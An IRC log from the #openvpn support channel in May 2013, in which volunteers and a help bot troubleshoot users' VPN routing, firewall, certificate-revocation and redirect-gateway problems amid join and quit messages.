13:38 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:39 -!- kirin` [telex@gateway/shell/anapnea.net/x-bcgafgnqxlaaiose] has quit [Ping timeout: 246 seconds]
13:40 -!- kirin` [telex@gateway/shell/anapnea.net/x-fhwrtiazfyvgjhse] has joined #openvpn
13:40 < NTG911> http://pastebin.com/TRZ5XaXT
13:40 < NTG911> that is the client config file
13:41 < NTG911> there isn't a config file for the router. what would you like to know
13:41 < NTG911> sorry about not havign the server config
13:41 < pekster> That's going to be a problem since I have no idea what's being sent to the client
13:42 < pekster> Maybe a client log at --verb 4 would be enough to see parts of what's happening, but not knowing how openvpn is configured on your server isn't a great way to start
13:42 < pekster> !logs
13:42 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:42 < NTG911> so you want my client log files?
13:42 < pekster> At verb 4
13:42 < pekster> Yes
13:43 < NTG911> not sure what you mean by verb 4.
13:43 < pekster> !verb
13:43 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for debugging, verb 3 is good for normal usage
13:43 < NTG911> i'm not on my linux box. this is a work win 7
13:44 < pekster> It's an openvpn directive
13:45 < NTG911> http://pastebin.com/hVjMH8uQ
13:45 < pekster> That is most definitly not verb 4
13:45 < NTG911> ugh
13:46 < NTG911> one sec
13:46 -!- kirin` [telex@gateway/shell/anapnea.net/x-fhwrtiazfyvgjhse] has quit [Ping timeout: 245 seconds]
13:47 < NTG911> that's the only log files i have. the rest just stats inactivity and reconnects
13:47 -!- kirin` [telex@gateway/shell/anapnea.net/x-ipopdvjbsngnbceq] has joined #openvpn
13:47 < NTG911> did you take a look at that config files. cause i'm pretty sure it's not right at all.
13:47 < pekster> So add in the verb command to the config as you were told above and give me the output I asked
13:48 < NTG911> ok. added it at the bottom.
13:48 < NTG911> reconnecting to make new log
13:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:49 < NTG911> that's alot more
13:49 < NTG911> http://pastebin.com/qDigKb6L
13:49 < NTG911> sorry abotu that.
13:52 < pekster> And you're trying to access something on the route you get pushed for 192.168.5.0/24?
13:53 < NTG911> the cient address?
13:53 -!- kirin` [telex@gateway/shell/anapnea.net/x-ipopdvjbsngnbceq] has quit [Read error: Connection reset by peer]
13:53 < NTG911> client addess i mena
13:54 < pekster> No, your client is 192.168.4.6; you're pushed a route for 192.168.5.0/24 (line 329 of your log) so I assume that's where the desitnation system you want to reach is
13:54 < NTG911> it's trying to reach DNS servers 192.168.5.1
13:54 < pekster> Ignore DNS for a moment. Is what you're ultimately trying to reach on 192.168.5.0/24 or not?
13:55 < NTG911> yes
13:55 < pekster> (this should be a simple question)
13:55 < NTG911> my brain is fried sorry.
13:55 < NTG911> yes the VPN router is set to 192.168.5.1 so 5.0 as network
13:55 < pekster> So, first make sure you have connectivity to your VPN server; make sure you can ping 192.168.4.1, your VPN server
13:56 < NTG911> i can ping it from the server but not the client
13:56 < pekster> So there's clearly a firewall in play. "technically" you don't need pings sto the server, but since things aren't working you really want them available for diagnostic
13:57 < pekster> Fix the firewall, since my guess is it's also causing you issues as you try to reach other things too
13:57 < NTG911> ok.
13:57 < NTG911> computer is stating that all the firewalls are turned off.
13:57 < NTG911> let me check deeper in net
13:58 < pekster> It's across the VPN; you have only 2, one on the client and one on the VPN server
13:58 < pekster> (you have keepalives enabled, so you'd get notified if the tunnel itself went down. Your issues is across the tunnel, not the tunnel's transport path)
13:59 < NTG911> the vpn server firewall settings are "Respond to ICMP, Allow Multicast, Natloopback=all Enable syncookies=off"
13:59 < pekster> Clearly not
13:59  * pekster shrugs
13:59 < NTG911> that's all the settings i have in the router.
13:59 < NTG911> I'm confused too.
13:59 < pekster> THen you should learn how to manage your firewall
13:59 < NTG911> did the config file look good?
13:59 < pekster> Sounds like you're looking at a webpage, not the actual config itself
14:00 < pekster> It's fine; you're connected and a route for 192.168.5.0/24 gets pushed and added client side
14:00 < pekster> Your lack of understand how to manage your chosen server system is what's causing you problem
14:00 < NTG911> the only thing I can see is the problem as i'm runnign down the network is three layers and i found a pf sense that they must have just installed
14:00 < NTG911> pekster> i'm looking at the tomato router html settings page.
14:01 < pekster> Right, don't do that (or go bug the tomato folks.)
14:01 < NTG911> lol
14:01 < NTG911> thank for the help though
14:01 < NTG911> I'll talk with my DIT and find out when he installed this PF sense firewall
14:02 < pekster> I'd really suggest you learn to configure a firewall properly. HTML pages don't meet my definition. Frontends are no good unless you understand exactly what they're doing (think back to that talk your math teacher gave you years ago)
14:02 < NTG911> this can explain why i can do it router vpn to router vpn but not open vpn
14:02 < NTG911> pekster> i understand this
14:02 < NTG911> again thanks for all your help
14:03 < NTG911> but i have a staff metting and then have to extend the netwrok into the new part of the office they just built
14:04 -!- NTG911 is now known as NTGmeeting
14:05 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
14:08 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 245 seconds]
14:25 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
14:26 -!- JackWinter1 [~jack@vodsl-8254.vo.lu] has joined #openvpn
14:29 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Ping timeout: 256 seconds]
14:31 -!- NTGmeeting is now known as ntg911
14:35 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 256 seconds]
14:45 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
14:54 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
14:54 -!- p3rror [~p3rror@41.140.168.204] has joined #openvpn
14:55 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
14:57 < phunyguy> pekster, do you know much about pimd? It's not OpenVPN related, but if you do, i was hoping you could throw me a bone....
14:57 < phunyguy> you seem pretty smart.
14:59 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:02 -!- Devastator- [~devas@177.99.152.148] has quit [Changing host]
15:02 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
15:02 -!- Devastator- is now known as Devastator
15:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:18 -!- SteWa [~j5m1th@2.186.58.62] has quit [Ping timeout: 256 seconds]
15:22 -!- sysdoc is now known as sysdoc_
15:24 -!- gnimsh [~IceChat9@38.111.36.74] has quit [Quit: Copywight 2013 Elmer Fudd. All wights wesewved.]
15:29 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
15:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:31 -!- SteWa [~j5m1th@78.129.180.118] has joined #openvpn
15:41 -!- Zenum [~quassel@unaffiliated/zenum] has quit [Remote host closed the connection]
15:42 -!- OllieN [~Zenum@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has joined #openvpn
15:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
15:47 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Quit: ZNC - http://znc.in]
15:48 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
15:49 -!- OllieN [~Zenum@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has quit [Quit: Zenum BNC - zenum.co.uk]
15:51 -!- Zenum [~Zenum@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has joined #openvpn
15:51 -!- Zenum [~Zenum@2a03:f80:ed15:ed15:ed15:ed15:c4fc:f104] has quit [Changing host]
15:51 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
15:51 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Read error: Connection reset by peer]
16:07 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
16:09 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
16:17 -!- sysdoc_ [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
16:30 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has joined #openvpn
16:33 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 256 seconds]
16:49 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
16:54 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:54 <@krzee> !route_override
16:54 <@vpnHelper> "route_override" is (#1) https://forums.openvpn.net/viewtopic.php?f=15&t=7161 for how to override --redirect-gateway for a certain subnet or (#2) to see how to make it so the client will still reply to requests to its public ip over the internet and not the vpn see !splitroute
16:55 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
16:55 <@krzee> !splitroute
16:55 <@vpnHelper> "splitroute" is (#1) https://forums.openvpn.net/topic7175.html to see how to add a second routing table so you can use --redirect-gateway AND still serve things to the internet or (#2) see !route_override for how to override --redirect-gateway for a certain subnet
16:57 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
16:57 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
17:01 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Client Quit]
17:02 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 276 seconds]
17:03 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
17:08 -!- rkantos [robin@4e.fi] has joined #openvpn
17:09 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
17:10 -!- NTG911_ [~NTG911@75.151.1.137] has joined #openvpn
17:11 -!- ntg911 [~NTG911@75.151.1.137] has quit [Read error: Connection reset by peer]
17:12 -!- NTG911_ [~NTG911@75.151.1.137] has quit [Read error: Connection reset by peer]
17:44 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has left #openvpn ["Bye"]
17:47 -!- pcdummy is now known as Fast[BDC]
17:51 -!- p3rror [~p3rror@41.140.168.204] has quit [Ping timeout: 264 seconds]
17:51 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 256 seconds]
17:57 -!- Fast[BDC] is now known as pcdummy
17:58 -!- rkantos [robin@4e.fi] has joined #openvpn
17:59 -!- WOOOP [~mcrozes@ec2-54-245-244-120.us-west-2.compute.amazonaws.com] has joined #openvpn
18:00 < WOOOP> hi :)
18:03 -!- p3rror [~p3rror@196.201.78.139] has joined #openvpn
18:14 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:15 -!- lbft [~lbft@199.195.249.177] has quit [Excess Flood]
18:16 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has joined #openvpn
18:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
18:31 < pppingme> howdy?
18:31 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
18:31 -!- mode/#openvpn [+o krzee] by ChanServ
18:36 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 245 seconds]
18:37 -!- JyZyXEL [~foo@a88-115-46-124.elisa-laajakaista.fi] has left #openvpn ["WeeChat 0.4.0-rc3"]
18:41 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
18:45 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has quit [Ping timeout: 256 seconds]
18:45 -!- Eugene [eugene@madeitwor.se] has quit [Ping timeout: 245 seconds]
18:46 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has joined #openvpn
18:54 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
18:54 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
18:56 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 248 seconds]
18:57 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
19:02 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
19:05 -!- jtrucks is now known as jtrucksnode
19:09 -!- jtrucksnode is now known as jtrucks
19:16 <@raidz> true
19:17 -!- Feico [~feico@s529db771.adsl.online.nl] has joined #openvpn
19:20 -!- Feico_ [~feico@s529db771.adsl.online.nl] has quit [Ping timeout: 272 seconds]
19:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-ssmxfnovrhcimmcy] has joined #openvpn
19:39 -!- JackWinter [~jack@vodsl-5042.vo.lu] has joined #openvpn
19:42 -!- JackWinter1 [~jack@vodsl-8254.vo.lu] has quit [Ping timeout: 260 seconds]
19:49 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
19:55 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
20:02 <+oc80z> i really like the android client
20:02 <+oc80z> stable+
20:12 -!- raidz is now known as raidz_away
20:15 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
20:15 <@krzee> me too
20:18 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
20:49 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
20:58 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has quit [Ping timeout: 252 seconds]
21:03 -!- master_of_master [~master_of@p4FF2413D.dip0.t-ipconnect.de] has joined #openvpn
21:03 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Ping timeout: 276 seconds]
21:05 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Remote host closed the connection]
21:06 -!- master_o1_master [~master_of@p4FF245D5.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
21:06 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
21:09 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Remote host closed the connection]
21:11 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
21:14 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
21:14 -!- spavis [~spavis@24-107-225-154.dhcp.oxfr.ma.charter.com] has joined #openvpn
21:15 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Client Quit]
21:28 -!- TheRealSjr [~sjr@216.239.45.73] has quit [Ping timeout: 252 seconds]
21:28 -!- TheRealSjr [~sjr@216.239.45.73] has joined #openvpn
21:40 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has joined #openvpn
21:40 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
21:42 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 246 seconds]
22:39 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
22:42 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 260 seconds]
23:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
23:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:59 -!- spavis [~spavis@24-107-225-154.dhcp.oxfr.ma.charter.com] has quit [Ping timeout: 256 seconds]
--- Day changed Sat May 04 2013
00:22 -!- Feico_ [~feico@s529db771.adsl.online.nl] has joined #openvpn
00:25 -!- Feico [~feico@s529db771.adsl.online.nl] has quit [Ping timeout: 264 seconds]
00:28 -!- TheRealSjr [~sjr@216.239.45.73] has quit [Ping timeout: 264 seconds]
00:28 -!- TheRealSjr [~sjr@216.239.45.73] has joined #openvpn
00:31 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
00:35 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
01:52 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
01:55 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 252 seconds]
01:59 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
02:01 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
02:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:53 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Ping timeout: 256 seconds]
03:15 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 246 seconds]
03:18 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
03:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:38 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
03:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:57 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 252 seconds]
03:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:14 -!- Chaot_s [~chaot_s@94-227-62-231.access.telenet.be] has joined #openvpn
04:50 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:51 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
04:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 268 seconds]
04:54 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
04:56 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 264 seconds]
04:57 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:03 -!- Feico_ [~feico@s529db771.adsl.online.nl] has quit [Ping timeout: 256 seconds]
05:15 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Quit: ZNC - http://znc.in]
05:17 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
05:32 -!- dxtr [26bd439a@unaffiliated/dxtr] has joined #openvpn
05:34 -!- dxtr [26bd439a@unaffiliated/dxtr] has left #openvpn []
05:44 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Read error: Connection reset by peer]
05:45 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
05:49 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Read error: Connection reset by peer]
05:51 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:51 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
05:55 -!- JackWinter [~jack@vodsl-5042.vo.lu] has quit [Quit: ZNC - http://znc.in]
05:57 -!- JackWinter [~jack@vodsl-5042.vo.lu] has joined #openvpn
06:05 -!- JackWinter [~jack@vodsl-5042.vo.lu] has quit [Read error: Connection reset by peer]
06:05 -!- JackWinter [~jack@vodsl-5042.vo.lu] has joined #openvpn
06:34 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:41 -!- p3rror [~p3rror@196.201.78.139] has quit [Ping timeout: 248 seconds]
06:43 -!- Devastator- [~devas@177.18.198.137] has joined #openvpn
06:43 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
06:54 -!- p3rror [~p3rror@adsl196-61-17-217-196.adsl196-9.iam.net.ma] has joined #openvpn
06:54 -!- spavis [~spavis@24-107-225-154.dhcp.oxfr.ma.charter.com] has joined #openvpn
07:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:17 -!- HaxCore [~p3rror@41.248.145.138] has joined #openvpn
07:20 -!- p3rror [~p3rror@adsl196-61-17-217-196.adsl196-9.iam.net.ma] has quit [Ping timeout: 258 seconds]
07:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
07:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:37 -!- SteWa [~j5m1th@2.186.58.62] has quit [Ping timeout: 258 seconds]
07:41 -!- Devastator- [~devas@177.18.198.137] has quit [Changing host]
07:41 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
07:41 -!- Devastator- is now known as Devastator
07:43 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
07:44 -!- HaxCore [~p3rror@41.248.145.138] has left #openvpn ["Leaving"]
07:44 -!- p3rror [~p3rror@41.248.145.138] has joined #openvpn
07:49 -!- SteWa [~j5m1th@78.129.180.118] has joined #openvpn
07:53 -!- newbie|4 [~tjz@bb119-74-161-116.singnet.com.sg] has joined #openvpn
07:56 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
08:09 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 268 seconds]
08:12 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:98ff:ab8d:a06c:ba49] has joined #openvpn
08:16 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:98ff:ab8d:a06c:ba49] has quit [Remote host closed the connection]
08:29 < xtz> is there a way to specify link-mtu and tun-mtu in the client config file?
08:34 <@plaisthos> xtz: have you actually looked inthe manpage and searched for mtu?
08:34 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 256 seconds]
08:37 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
08:41 -!- HaxCore [~p3rror@41.250.237.186] has joined #openvpn
08:43 -!- p3rror [~p3rror@41.248.145.138] has quit [Ping timeout: 256 seconds]
08:53 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
08:57 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
08:58 -!- HaxCore [~p3rror@41.250.237.186] has quit [Read error: Connection reset by peer]
08:58 -!- p3rror [~p3rror@41.143.218.66] has joined #openvpn
09:07 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
09:07 -!- p3rror [~p3rror@41.143.218.66] has quit [Ping timeout: 246 seconds]
09:15 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 258 seconds]
09:22 -!- p3rror [~p3rror@41.249.36.35] has joined #openvpn
09:26 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
09:28 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
09:38 -!- SteWa [~j5m1th@2.186.58.62] has quit [Ping timeout: 256 seconds]
09:39 -!- SteWa [~j5m1th@78.129.180.118] has joined #openvpn
09:41 -!- spavis [~spavis@24-107-225-154.dhcp.oxfr.ma.charter.com] has quit []
09:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:43 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:44 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 258 seconds]
09:55 -!- p3rror [~p3rror@41.249.36.35] has quit [Quit: Leaving]
09:56 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
10:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:20 -!- mrrothhcloud__ [uid4697@gateway/web/irccloud.com/x-ajqzlfsxhyjnzjmx] has joined #openvpn
10:20 < mrrothhcloud__> hi how did apple allow open vpn on IOS? Does it use the default VPN client and this is just a gui wraper for it
10:23 <@plaisthos> mrrothhcloud__: OpenVPN corp developed a new non gpl client and signed an Apple NDA
10:25 < mrrothhcloud__> oh
10:25 < mrrothhcloud__> I was about to also ask how did they get away with 10 min limit apple imposes for network connection and sandboxing
10:27 < mrrothhcloud__> bah why can't connect to my wifi now
10:28 <@plaisthos> mrrothhcloud__: VPN apps are more equal other apps :)
10:30 < mrrothhcloud__> I think my 54gL wrt gave it last day today
10:31 < mrrothhcloud__> my iphone or ipad won't connect maybe it snort
10:36 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
10:39 -!- Poster|w [poster@gateway/shell/bshellz.net/x-qgiltaybpejdfuml] has quit [Ping timeout: 260 seconds]
10:40 < mrrothhcloud__> how does on demand vpn work say I am in a hotspot or at work can it turn on
10:49 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
10:50 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
10:51 < i7c> if the server requires user/passwd to auth, can i store those somehow in a text file or something?
10:51 -!- Poster|w [poster@gateway/shell/bshellz.net/x-xlxaabddpspcixcu] has joined #openvpn
10:52 < pekster> i7c: Read --auth-user-pass in the manpage
10:52 < i7c> ah, will do. thx!
10:53 -!- themadcanudist [~themadcan@184.75.214.90] has joined #openvpn
10:54 < themadcanudist> Hey guys. I've got the openvpn roadwarrior client/server set up. ports open and the conn establishes, I'm using the sample keys (because my own keys did the same thing, but nevertheless) I'm getting this on the server: "TLS_ERROR: BIO read tls_read_plaintext error: error:140890B2:SSL routines:SSL3_GET_CLIENT_CERTIFICATE:no certificate returned"
10:55 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
10:55 < themadcanudist> the line preceeding it is: "VERIFY ERROR: depth=0, error=unable to get certificate CRL: /C=KG/ST=NA/O=OpenVPN-TEST/CN=Test-Client/emailAddress=me@myhost.mydomain"
10:55 < themadcanudist> I've done a "openssl verify -CAfile ca.crt client.crt" and I get an OK
10:55 < themadcanudist> so i'm sure the certs/keys are all aligned properly.
11:09 < i7c> if i use route-nopull is route-up not called anymore?
11:21 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
11:22 < pekster> themadcanudist: The error references your CRL; check that it's set up properly and verifies against your CA
11:23 < themadcanudist> I dont have a certificate revoke list
11:23 < themadcanudist> and the sample configs don't specify crl-verify
11:23 < themadcanudist> and it's not in the howto
11:23 < themadcanudist> so i'm a bit confused
11:25 -!- kirin` [telex@gateway/shell/anapnea.net/x-ssmxfnovrhcimmcy] has quit [Quit: leaving]
11:26 -!- kirin` [telex@gateway/shell/anapnea.net/x-uvfcwehondyimziq] has joined #openvpn
11:28 < themadcanudist> pekster: Can you assist?
11:45 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 258 seconds]
11:53 -!- themadcanudist [~themadcan@184.75.214.90] has left #openvpn []
12:14 -!- SteWa [~j5m1th@2.186.58.62] has quit [Ping timeout: 264 seconds]
12:14 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
12:26 -!- ipu42 [~sasank@ool-457c81bc.dyn.optonline.net] has joined #openvpn
12:28 < ipu42> Hellow OpenVPN users. I am using Debian for both server/client and am able to connect to OpenVPN. But am having trouble with redirecting all traffic through the tunnel. Is there any detailed config. example on how to redirect traffic through the tunnel?
12:29 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
12:31 < rob0> !redirect
12:31 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:31 <@vpnHelper> http://ircpimps.org/redirect.png
12:31 < rob0> that flowchart might help you
12:32 <@krzee> err
12:32 <@krzee> nope, my server is down
12:32 <@krzee> =[
12:33 <@krzee> i have ircpimps.org sitting in a trunk of a car right now
12:33 < ipu42> rob0: Thanks v.much.
12:33 <@krzee> we'll have to troubleshoot this one the old fashioned way
12:33 <@krzee> it should be back up later today
12:34 <@krzee> ipu42, can you ping the vpn ip of the vpn server from the client?
12:34 < ipu42> krzee: Yup. I can ping... I am able to ssh between client/server as well
12:34 < ipu42> That part of the connection works well.
12:34 <@krzee>  ok
12:35 < ipu42> The next step is I want to forward all webtraffic, and other internet traffic from client to server.
12:35 <@krzee> show me the line with redirewct-gateway
12:35 < ipu42> But facing a few problems over that.
12:35 < rob0> krzee, need a mirror site? :)
12:35 <@krzee> rob0, i totally should have mirrored it, but you kinda forget about some of the stuff you run til you take it down :D
12:36 < ipu42> push "redirect-gateway def1"
12:36 <@krzee> !linipforward
12:36 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
12:36 <@krzee> ipu42, verify that is set on the server
12:37 < ipu42> I set the ip_forward.
